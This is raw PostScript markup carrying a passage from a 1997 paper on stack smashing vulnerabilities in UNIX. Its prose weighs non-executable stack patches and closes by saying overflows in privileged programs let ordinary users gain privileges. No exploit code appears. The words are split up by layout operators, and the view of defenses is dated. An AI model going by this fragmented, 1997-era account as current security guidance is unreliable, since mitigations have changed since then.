0.0000 1.0000 SET_CMYK GS n 5719 4186 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6111 4186 M (functional ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6835 4186 M (languages ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3910 M (might ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1641 3910 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1954 3910 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2156 3910 M (affected. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2822 3910 M (Furthermore, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3743 3910 M (every ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4158 3910 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4768 3910 M (contains ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5367 3910 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5726 3910 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6020 3910 M (performs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6668 3910 M (fundamental ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3634 M (operations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1951 3634 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2303 3634 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2489 3634 M (saving ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2970 3634 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3257 3634 M (restoring ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3896 3634 M (values ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4368 3634 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4740 3634 M (CPU ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5111 3634 M (registers, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5765 3634 M (performs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6415 3634 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6925 3634 M (calls. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 3634 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3358 M (contrast ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1786 3358 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1969 3358 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2226 3358 M (formulated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3011 3358 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3407 3358 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4090 3358 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4670 3358 M (available, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5366 3358 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5577 3358 M (attack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6028 3358 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6387 3358 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6580 3358 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6874 3358 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 3358 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3082 M (impossible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1992 3082 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2182 3082 M (prevent ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2742 3082 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2969 3082 M (changing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3639 3082 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3903 3082 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4306 3082 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5013 3082 M (privilege. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5749 3082 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5949 3082 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6352 3082 M (words, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6862 3082 M (removing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2806 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1472 2806 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1875 2806 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2582 2806 M (permission ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3374 2806 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3730 2806 M (prevents ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4355 2806 M (t) ST -4 0 MR (o) ST -4 0 MR (d) ST -4 0 MR (a) ST -4 0 MR (y) ST -5 0 MR (') ST -5 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4880 2806 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5283 2806 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5973 2806 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6560 2806 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6946 2806 M (working ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2530 M (properly. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1905 2530 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2144 2530 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2724 2530 M (become ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3296 2530 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3693 2530 M (sophisticated, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4657 2530 M (\(see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4980 2530 M (section ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5505 2530 M (9.1\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5823 2530 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6219 2530 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6919 2530 M (bits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7213 2530 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2254 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1577 2254 M (little ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1930 2254 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2118 2254 M (no ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2333 2254 M (relevance ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3020 2254 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3198 2254 M (terms ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3618 2254 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3806 2254 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4058 2254 M (exploit. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4652 2254 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4886 2254 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5092 2254 M (aside, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5525 2254 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5814 2254 M (type ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6149 2254 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6337 2254 M (patch ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6746 2254 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7026 2254 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 2254 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1978 M (implemented ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2122 1978 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2295 1978 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2802 1978 M (CPU ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3170 1978 M (hardware. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3918 1978 M (New ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4276 1978 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4783 1978 M (architectures ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5678 1978 M (could ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6091 1978 M (simply ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6588 1978 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6946 1978 M (multiple ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1702 M (stacks: one for call frames, and one for automatic storage.) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 29 29 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1271 M (16) 138 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p80000 SETFONT GS n 1338 1230 M ( POSIX.1e \(formerly POSIX.6\); http://csrc.ncsl.nist.gov/nistpubs/800-7/node20\ 3.html) 3873 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1489 M (_________________________) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9848 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1882 9848 M (conclusion, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2687 9848 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2896 9848 M (removing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3577 9848 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3962 9848 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4651 9848 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5019 9848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5265 9848 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5771 9848 M (kernel, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6272 9848 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6555 9848 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6829 9848 M (attempt ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 9848 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (stop ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1600 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1916 9572 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2371 9572 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3113 9572 M (problem ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3781 9572 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4014 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4330 9572 M (source. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4962 9572 M (However, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5727 9572 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6080 9572 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6803 9572 M (suffers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 9572 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (implementation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2304 9296 M (because ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2885 9296 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3142 9296 M (necessary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3844 9296 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4212 9296 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4377 9296 M (non-portable, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5323 9296 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5941 9296 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6587 9296 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 9296 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1881 9020 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2392 9020 M (signal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2837 9020 M (handling ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3466 9020 M (behavior ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4096 9020 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4255 9020 M (modified ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4904 9020 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5192 9020 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5527 9020 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5732 9020 M (unpredictable. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6769 9020 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6956 9020 M (addition ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (to these points, this approach is not proven to stop more sophisticated stack sm\ ashing exploits.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p180000 SETFONT GS n 1200 8392 M (12. Conclusion) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 8095 M (Stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2128 8095 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2807 8095 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3384 8095 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3960 8095 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4324 8095 M (become ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4892 8095 M (commonplace ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5876 8095 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6092 8095 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6558 8095 M (machines ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7237 8095 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 8095 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7819 M (means ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1730 7819 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1960 7819 M (gain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2347 7819 M (access ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2874 7819 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3104 7819 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3879 7819 M (resources. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4694 7819 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4989 7819 M (combining ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5801 7819 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6466 7819 M (operations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 7819 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7543 M (conditions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1957 7543 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2148 7543 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2403 7543 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2871 7543 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3163 7543 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3326 7543 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4285 7543 M (language, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4979 7543 M (based ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5410 7543 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5628 7543 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5920 7543 M (study, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6374 7543 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6666 7543 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6949 7543 M (see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7214 7543 M (how ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7267 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1409 7267 M (unprivileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2292 7267 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2613 7267 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2887 7267 M (obtain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3345 7267 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4062 7267 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4383 7267 M (permissions. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5306 7267 M (Furthermore, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6225 7267 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6563 7267 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6809 7267 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 7267 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6991 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1927 6991 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2609 6991 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2910 6991 M (exist ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3276 6991 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3457 6991 M (t) ST -4 0 MR (o) ST -4 0 MR (d) ST -4 0 MR (a) ST -4 0 MR (y) ST -5 0 MR (') ST -5 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3973 6991 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4589 6991 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5057 6991 M (distributions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5940 6991 M (combined ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6648 6991 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6995 6991 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7250 6991 M (fact ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6715 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1529 6715 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1765 6715 M (overflow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2445 6715 M (exploit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2985 6715 M (could ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3433 6715 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3669 6715 M (constructed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4515 6715 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4789 6715 M (any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5108 6715 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5427 6715 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5645 6715 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6233 6715 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6451 6715 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6872 6715 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6439 M (systems.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6163 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1892 6163 M (spite ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2251 6163 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2435 6163 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2822 6163 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3496 6163 M (prevalence, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4304 6163 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4423 6163 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4977 6163 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5161 6163 M (things ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5612 6163 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5888 6163 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6090 6163 M (done ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6458 6163 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6632 6163 M (prevent ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 6163 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5887 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1645 5887 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2376 5887 M (vulnerabilities. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3513 5887 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3800 5887 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4105 5887 M (level ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4530 5887 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4771 5887 M (awareness ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5558 5887 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5799 5887 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6243 5887 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6974 5887 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5611 M (increases, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1910 5611 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2377 5611 M (vendors, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2997 5611 M (programmers, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3980 5611 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4494 5611 M (administrators ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5498 5611 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5789 5611 M (users ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6183 5611 M (alike, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6599 5611 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6854 5611 M (educating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5335 M (each ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1556 5335 M (other. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2029 5335 M (System ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2567 5335 M (administrators ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3567 5335 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3845 5335 M (implement ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4604 5335 M (various ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5141 5335 M (configuration ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6084 5335 M (methods ) ST GR 